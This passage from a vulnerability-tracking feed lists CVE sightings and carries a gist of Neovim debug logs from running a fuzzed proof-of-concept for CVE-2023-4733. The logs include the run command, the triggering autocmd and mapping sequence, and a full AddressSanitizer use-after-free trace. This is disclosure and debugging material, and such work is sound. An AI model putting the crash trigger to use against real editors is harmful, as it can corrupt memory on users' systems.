"2026-09-06T15:00:03.534911+00:00", "type": "published-proof-of-concept", "source": "Telegram/43D4qhGTDojIu_KxnHISZ4eUxiWEszw-obZ3Am-s-rJ4mag", "content": "", "vulnerability": "CVE-2020-3766", "author": {"login": "automation"}}, {"uuid": "ffa3c7e3-b564-4a99-ae57-d2c19852b99a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T15:00:03.497945+00:00", "type": "published-proof-of-concept", "source": "Telegram/43D4qhGTDojIu_KxnHISZ4eUxiWEszw-obZ3Am-s-rJ4mag", "content": "", "vulnerability": "CVE-2021-38817", "author": {"login": "automation"}}, {"uuid": "e5eeb57f-90a5-407e-bce6-57dbea7d26f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T15:00:03.458958+00:00", "type": "published-proof-of-concept", "source": "Telegram/43D4qhGTDojIu_KxnHISZ4eUxiWEszw-obZ3Am-s-rJ4mag", "content": "", "vulnerability": "CVE-2025-4403", "author": {"login": "automation"}}, {"uuid": "f6784580-6107-4b46-aea3-46f5f8a51ddd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T15:00:03.422609+00:00", "type": "published-proof-of-concept", "source": "Telegram/43D4qhGTDojIu_KxnHISZ4eUxiWEszw-obZ3Am-s-rJ4mag", "content": "", "vulnerability": "CVE-2025-29927", "author": {"login": "automation"}}, {"uuid": "087047e8-6ce4-492d-b74a-dbac90f97feb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T14:20:04.678897+00:00", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3muu6tdc6pg2f", "content": "CVE-2026-86259 - openmaic\nOlder versions of OpenMAIC do not properly check URLs when they are run in test or development mode. This lets anyone on the network send specially crafted requests that reach the\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#openmaic #thumaic #CVE #infosec", "vulnerability": "CVE-2026-86259", "author": {"login": "automation"}}, {"uuid": "531aa876-d99a-4601-a175-e0f8f0765afd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T14:16:49.092225+00:00", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/58c6c1f67245ab9faa45606bfd51dde5", "content": "Command:\n./nvim-0.9.1 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nExecuting:     aunmenu *\n\nExecuting:     vnoremenu PopUp.Cut                     \"+x\n\nExecuting:     vnoremenu PopUp.Copy                    \"+y\n\nExecuting:     anoremenu PopUp.Paste                   \"+gP\n\nExecuting:     vnoremenu PopUp.Paste                   \"+P\n\nExecuting:     vnoremenu PopUp.Delete                  \"_x\n\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\n\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\n\nExecuting:     inoremenu PopUp.Select\\ All             VG\n\nExecuting:     anoremenu PopUp.-1-                     \n\nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\n\nExecuting:   \n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nExecuting: so CVE-2023-4733\n\nline 0: sourcing \"CVE-2023-4733\"\nline 1: ^B\n\nError detected while processing command line..script /home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733/CVE-2023-4733:\nline    1:\nE492: Not an editor command: ^B\nline 2: \n\nline 3: o^P\ufffd\ufffd\ufffd\ufffd\ufffd&&&:^P&&&:^P^LfWe!^P^P^P^P^P^L^P^Q ^P^P^P^P^P w^AK9\",ees^P\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\<90>^P^\\ej^P^L^P^P^P^P0^P^P(^M^P^P^X\n\nline    3:\nE488: Trailing characters: ^P\ufffd\ufffd\ufffd\ufffd\ufffd&&&:^P&&&:^P^LfWe!^P^P^P^P^P^L^P^Q ^P^P^P^P^P w^AK9: o^P\ufffd\ufffd\ufffd\ufffd\ufffd&&&:^P&&&:^P^LfWe!^P^P^P^P^P^L^P^Q ^P^P^P^P^P w^AK9\nline 4: o^P^EO,'\n\nline    4:\nE488: Trailing characters: ^P^EO,': o^P^EO,'\nline 5: b\n\nline    5:\nE94: No matching buffer for \nline 6:  ^PN,'\n\nline    6:\nE492: Not an editor command:  ^PN,'\nline 7:  \n\nline 8: norm:a^P^P^P^L^P^Q ^P^P^P^P^PM^P^P^L^P^Q ^P^P^P^P*^P^P^P^P^P^P,^A^P ^Pq^P^P^M^P^P^Lorm:s^P\\\\\\\\\\\\\\|\\\\\\\\\\\\\\^I^I^S<80>^Vg^I^P^P^P^P^M^P^P^P^P^P^P^]^P^O^P^P^P^NSSSSSSsSCd K t0]<80> \n:a\n\nline 9: ^Po^Sd\n\nline    9:\nE492: Not an editor command: ^Po^Sd\nline 10: nFK\n\nline   10:\nE492: Not an editor command: nFK\nline 11: t<8b>^Dl<9c>ll\n\nline   11:\nE16: Invalid range\nline 12: d K2\n\nline 13: d ^?\n\nline   13:\nE488: Trailing characters: ^?: d ^?\nline 14: d K\n\nline 15: t0\n\nline 16: n(Q\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 16: unlet! b:keymap_name\n\nline 17: t0H\n\nline 18: d ^?2\n\nline   18:\nE488: Trailing characters: ^?2: d ^?2\nline 19: eGere ln\n\nline   19:\nE492: Not an editor command: eGere ln\nline 20: ln.lhe S$  ^_                 K\n\nline 21: t0\n\nline 22: }FKs<\n\nline   22:\nE492: Not an editor command: }FKs<\nline 23: se s}Ud<8a>h<8a><8a><8a><8a><8a>A^Z\n\nline   23:\nE518: Unknown option: s}Ud<8a>h<8a><8a><8a><8a><8a>A^Z\nline 24: -\n\nline 25: norm^E^E^Vm^E+^V<9b>;^V^V^El\n\nline 26: W\n\nline   26:\nE492: Not an editor command: W\nline 27: geeeeeeeeeeeee\n\nline   27:\nE492: Not an editor command: geeeeeeeeeeeee\nline 28: d<8b>\n\nline   28:\nE488: Trailing characters: <8b>: d<8b>\nline 29:  @^P\n\nline   29:\nE354: Invalid register name: ''\nline 30: dr<80>|e^A\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 30: unlet! b:keymap_name\n\nline 30: e^A\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 30: unlet! b:keymap_name\n\nline 31: ^P\n\nline   31:\nE492: Not an editor command: ^P\nline 32: u\n\nAlready at oldest change\nline 33: <90>\n\nline   33:\nE492: Not an editor command: <90>\nline 34: <80> @d\n\nline   34:\nE492: Not an editor command: <80> @d\nline 35: uc\\^A\n\nline   35:\nE488: Trailing characters: c\\^A: uc\\^A\nline 36: g<9a>\n\nline   36:\nE35: No previous regular expression\nE476: Invalid command\nline 37: r\n\nline   37:\nE484: Can't open file \nline 38: d<8b>2\n\nline   38:\nE488: Trailing characters: <8b>2: d<8b>2\nline 39: W K2d K\n\nline   39:\nE492: Not an editor command: W K2d K\nline 40: t0]\n\nline 41: ^Po\"d\n\nline   41:\nE492: Not an editor command: ^Po\"d\nline 42: <8f>FK\n\nline   42:\nE492: Not an editor command: <8f>FK\nline 43: <85><8b>^De<89>ll\n\nline   43:\nE492: Not an editor command: <85><8b>^De<89>ll\nline 44: d 92\n\nline 45: d ^?\n\nline   45:\nE488: Trailing characters: ^?: d ^?\nline 46: t\n\nline   46:\nE16: Invalid range\nline 47: nFK^Rd\n\nline   47:\nE492: Not an editor command: nFK^Rd\nline 48: t0]\n\nline 49: eere ln^P^P^X\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 49: unlet! b:keymap_name\n\nline 50: o^P^EO,'\n\nline   50:\nE488: Trailing characters: ^P^EO,': o^P^EO,'\nline 51: b\n\nline   51:\nE94: No matching buffer for \nline 52:  ^PN,'\n\nline   52:\nE492: Not an editor command:  ^PN,'\nline 53:  \n\nline 54: norm:a^P^P^P^L^P^Q ^P^P^P^P^PM^P^P^L^P^Q ^P^P^P^P*^P^P^P^P^P^P,^A^P ^Pq^P^P^M^P^P^Lorm:s^P\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\^I^I^S<80>^Vg^I^P^P^P^P^M^P^P^P^P^P^P^]^P^O^P^P^P^NSSSSSSsSSd K t0]<80> \n:a\n\nline 55: ^Po^Sd\n\nline   55:\nE492: Not an editor command: ^Po^Sd\nline 56: nFK\n\nline   56:\nE492: Not an editor command: nFK\nline 57: t<8b>^Dl<9c>ll\n\nline   57:\nE16: Invalid range\nline 58: d K2\n\nline 59: d ^?\n\nline   59:\nE488: Trailing characters: ^?: d ^?\nline 60: d K\n\nline 61: t0\n\nline 62: nFQ\n\nline   62:\nE492: Not an editor command: nFQ\nline 63: t0H\n\nline 64: d ^?2\n\nline   64:\nE488: Trailing characters: ^?2: d ^?2\nline 65: eGere ln\n\nline   65:\nE492: Not an editor command: eGere ln\nline 66: ln.lhe S$  ^_                 K\n\nline 67: t0\n\nline 68: }FKs<\n\nline   68:\nE492: Not an editor command: }FKs<\nline 69: se s}Ud<8a>h<8a><8a><8a><8a><8a>A^Z\n\nline   69:\nE518: Unknown option: s}Ud<8a>h<8a><8a><8a><8a><8a>A^Z\nline 70: -\n\nline 71: norm^E^E^Vm^E+^V<9b>;^V^V^El\n\nline 72: W\n\nline   72:\nE492: Not an editor command: W\nline 73: geeeeeeeeeeeee\n\nline   73:\nE492: Not an editor command: geeeeeeeeeeeee\nline 74: d<8b>\n\nline   74:\nE488: Trailing characters: <8b>: d<8b>\nline 75:  @^P\n\nline   75:\nE354: Invalid register name: ''\nline 76: dr<80>|e^A\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 76: e^A\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 77: ^P\n\nline   77:\nE492: Not an editor command: ^P\nline 78: u\n\n2 fewer lines; before #1  0 seconds ago\nline 79: <90>\n\nline   79:\nE492: Not an editor command: <90>\nline 80: <80> @d\n\nline   80:\nE492: Not an editor command: <80> @d\nline 81: uc\\^A\n\nline   81:\nE488: Trailing characters: c\\^A: uc\\^A\nline 82: g<9a>\n\nline   82:\nE35: No previous regular expression\nE476: Invalid command\nline 83: r\n\nline   83:\nE484: Can't open file \nline 84: d<8b>2\n\nline   84:\nE488: Trailing characters: <8b>2: d<8b>2\nline 85: W K2d K\n\nline   85:\nE492: Not an editor command: W K2d K\nline 86: i0]\n\nline   86:\nE488: Trailing characters: 0]: i0]\nline 87: ^Po\"d\n\nline   87:\nE492: Not an editor command: ^Po\"d\nline 88: <8f>F\u03fc^?<88>R<85><8b>^De<89>ll\n\nline   88:\nE492: Not an editor command: <8f>F\u03fc^?<88>R<85><8b>^De<89>ll\nline 89: d 92\n\nline 90: d ^?\n\nline   90:\nE488: Trailing characters: ^?: d ^?\nline 91: _ K\n\nline   91:\nE492: Not an editor command: _ K\nline 92: t\n\nline   92:\nE16: Invalid range\nline 93: nFK^Rd\n\nline   93:\nE492: Not an editor command: nFK^Rd\nline 94: t0]\n\nline 95: eere ln\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 95: unlet! b:keymap_name\n\nline 96: ln.lhe  $  ^_*        ooooooooo  :     2\n\nline 97: eGere ln\n\nline   97:\nE492: Not an editor command: eGere ln\nline 98: lnt0!\n\nline   98:\nE492: Not an editor command: lnt0!\nline 99: ^Po^Sd\n\nline   99:\nE492: Not an editor command: ^Po^Sd\nline 100: nFS\n\nline  100:\nE492: Not an editor command: nFS\nline 101: t\n\nline  101:\nE16: Invalid range\nline 102: t0] ^?\n\nline 103: ^Po K\n\nline  103:\nE492: Not an editor command: ^Po K\nline 104: t0] ^?\n\nline 105: nFK\n\nline  105:\nE492: Not an editor command: nFK\nline 106: t\n\nline  106:\nE16: Invalid range\nline 107: t0]\n\nline 108: ^Po\n\nline  108:\nE492: Not an editor command: ^Po\nline 109: norm:a^P^P^P^L^P^Q ^P^P^P<87>\n:a\n\nline 110: ggggggggggggggggggggg^Ngr\n\nline  110:\nE492: Not an editor command: ggggggggggggggggggggg^Ngr\nline 111: br^N(\n\nline  111:\nE488: Trailing characters: ^N(: br^N(\nline 112: ^\\elMl<84>\n\nline  112:\nE492: Not an editor command: ^\\elMl<84>\nline 113: new\n\nline 113: unlet! b:keymap_name\n\nline 114: autocmd ModeChanged v:* ++once close\n\nline 115: vnoremap x enew\n\nline 116: norm vx\nline 116: enew\n\nExecuting ModeChanged Autocommands for \"v:*\"\nautocommand close\n\nExecuting: close\n=================================================================\n==42398==ERROR: AddressSanitizer: heap-use-after-free on address 0x626000003160 at pc 0x0000006e35f5 bp 0x7ffd6cdc86e0 sp 0x7ffd6cdc86d8\nREAD of size 4 at 0x626000003160 thread T0\n    #0 0x6e35f4 in buflist_altfpos /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:3063:46\n    #1 0x9a51f1 in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2232:9\n    #2 0x9f731b in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5269:9\n    #3 0x9fc5f8 in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5199:3\n    #4 0x9e5fdc in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #5 0x9d3d1f in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2279:7\n    #6 0x9c973e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #7 0xd5668e in nv_colon /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:3238:18\n    #8 0xd4b60e in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1198:3\n    #9 0xd4810c in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:6638:9\n    #10 0x9fa62a in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6496:5\n    #11 0x9fa386 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6479:3\n    #12 0xa0430b in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6411:7\n    #13 0x9e5fdc in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #14 0x9d3d1f in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2279:7\n    #15 0x9c973e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #16 0xf44561 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2158:5\n    #17 0xf41384 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1708:14\n    #18 0xf410e0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1716:3\n    #19 0x9e5fdc in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #20 0x9d3d1f in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2279:7\n    #21 0x9c973e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #22 0x9ccdd3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n    #23 0x51f8b4 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1892:5\n    #24 0x512acc in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:579:5\n    #25 0x7f9b25a0d082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #26 0x467fad in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.1-ASAN+0x467fad)\n\n0x626000003160 is located 96 bytes inside of 10640-byte region [0x626000003100,0x626000005a90)\nfreed by thread T0 here:\n    #0 0x4e046d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.1-ASAN+0x4e046d)\n    #1 0xc9d3d9 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:134:3\n    #2 0x6c523e in apply_autocmds_group /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1992:7\n    #3 0x6c8fe6 in apply_autocmds /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1602:10\n    #4 0x10669ff in may_trigger_modechanged /home/zzw/Desktop/neovim/build/../src/nvim/state.c:266:3\n    #5 0xd3a347 in end_visual_mode /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1490:3\n    #6 0xd3a554 in reset_VIsual /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1507:5\n    #7 0x9a4e38 in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2205:3\n    #8 0x9f731b in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5269:9\n    #9 0x9fc5f8 in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5199:3\n    #10 0x9e5fdc in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #11 0x9d3d1f in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2279:7\n    #12 0x9c973e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #13 0xd5668e in nv_colon /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:3238:18\n    #14 0xd4b60e in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1198:3\n    #15 0xd4810c in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:6638:9\n    #16 0x9fa62a in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6496:5\n    #17 0x9fa386 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6479:3\n    #18 0xa0430b in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6411:7\n    #19 0x9e5fdc in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #20 0x9d3d1f in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2279:7\n    #21 0x9c973e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #22 0xf44561 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2158:5\n    #23 0xf41384 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1708:14\n    #24 0xf410e0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1716:3\n    #25 0x9e5fdc in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #26 0x9d3d1f in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2279:7\n    #27 0x9c973e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #28 0x9ccdd3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n    #29 0x51f8b4 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1892:5\n\npreviously allocated by thread T0 here:\n    #0 0x4e0862 in calloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.1-ASAN+0x4e0862)\n    #1 0xc9d473 in xcalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:148:15\n    #2 0x1250bcb in win_alloc /home/zzw/Desktop/neovim/build/../src/nvim/window.c:5014:19\n    #3 0x125ff96 in win_split_ins /home/zzw/Desktop/neovim/build/../src/nvim/window.c:1306:12\n    #4 0x1248449 in win_split /home/zzw/Desktop/neovim/build/../src/nvim/window.c:1071:10\n    #5 0x9f5bc9 in ex_splitview /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:4999:14\n    #6 0x9e5fdc in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #7 0x9d3d1f in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2279:7\n    #8 0x9c973e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #9 0xf44561 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2158:5\n    #10 0xf41384 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1708:14\n    #11 0xf410e0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1716:3\n    #12 0x9e5fdc in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #13 0x9d3d1f in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2279:7\n    #14 0x9c973e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #15 0x9ccdd3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n    #16 0x51f8b4 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1892:5\n    #17 0x512acc in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:579:5\n    #18 0x7f9b25a0d082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-use-after-free /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:3063:46 in buflist_altfpos\nShadow bytes around the buggy address:\n  0x0c4c7fff85d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4c7fff85e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4c7fff85f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4c7fff8600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4c7fff8610: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n=>0x0c4c7fff8620: fd fd fd fd fd fd fd fd fd fd fd fd[fd]fd fd fd\n  0x0c4c7fff8630: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8640: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8650: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8660: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8670: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==42398==ABORTING\n\n\nCommand:\n./nvim-0.7.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd BufReadCmd term://* ++nested if !exists('b:term_title')|call termopen(matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: augroup nvim_cmdwin\n\nExecuting: autocmd! CmdwinEnter [:>] syntax sync minlines=1 maxlines=1\n\nExecuting: augroup END\n\nExecuting: so CVE-2023-4733\n\nline 0: sourcing \"CVE-2023-4733\"\nline 1: ^B\n\nError detected while processing /home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733/CVE-2023-4733:\nline    1:\nE492: Not an editor command: ^B\nline 2: \n\nline 3: o^P\ufffd\ufffd\ufffd\ufffd\ufffd&&&:^P&&&:^P^LfWe!^P^P^P^P^P^L^P^Q ^P^P^P^P^P w^AK9\",ees^P\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\<90>^P^\\ej^P^L^P^P^P^P0^P^P(^M^P^P^X\n\nline    3:\nE488: Trailing characters: o^P\ufffd\ufffd\ufffd\ufffd\ufffd&&&:^P&&&:^P^LfWe!^P^P^P^P^P^L^P^Q ^P^P^P^P^P w^AK9\nline 4: o^P^EO,'\n\nline    4:\nE488: Trailing characters: o^P^EO,'\nline 5: b\n\nline    5:\nE94: No matching buffer for \nline 6:  ^PN,'\n\nline    6:\nE492: Not an editor command:  ^PN,'\nline 7:  \n\nline 8: norm:a^P^P^P^L^P^Q ^P^P^P^P^PM^P^P^L^P^Q ^P^P^P^P*^P^P^P^P^P^P,^A^P ^Pq^P^P^M^P^P^Lorm:s^P\\\\\\\\\\\\\\|\\\\\\\\\\\\\\^I^I^S<80>^Vg^I^P^P^P^P^M^P^P^P^P^P^P^]^P^O^P^P^P^NSSSSSSsSCd K t0]<80> \n:a\n\nline 9: ^Po^Sd\n\nline    9:\nE492: Not an editor command: ^Po^Sd\nline 10: nFK\n\nline   10:\nE492: Not an editor command: nFK\nline 11: t<8b>^Dl<9c>ll\n\nline   11:\nE16: Invalid range\nline 12: d K2\n\nline 13: d ^?\n\nline   13:\nE488: Trailing characters: d ^?\nline 14: d K\n\nline 15: t0\n\nline 16: n(Q\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 16: unlet! b:keymap_name\n\nline 17: t0H\n\nline 18: d ^?2\n\nline   18:\nE488: Trailing characters: d ^?2\nline 19: eGere ln\n\nline   19:\nE492: Not an editor command: eGere ln\nline 20: ln.lhe S$  ^_                 K\n\nline 21: t0\n\nline 22: }FKs<\n\nline   22:\nE492: Not an editor command: }FKs<\nline 